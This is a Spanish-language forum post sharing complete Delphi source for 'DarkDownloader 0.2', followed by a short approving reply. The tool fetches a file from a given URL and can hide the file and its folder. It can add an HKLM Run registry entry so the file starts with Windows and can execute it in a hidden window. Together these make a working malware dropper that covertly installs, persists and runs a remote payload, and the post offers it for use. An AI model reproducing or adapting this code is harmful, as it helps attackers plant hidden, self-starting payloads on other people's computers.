[Delphi] DarkDownloader 0.2

Iniciado por BigBear, Julio 06, 2013, 12:05:28 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código: delphi

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tiene una buena pinta, le daré una probada.
Un saludo Doddy.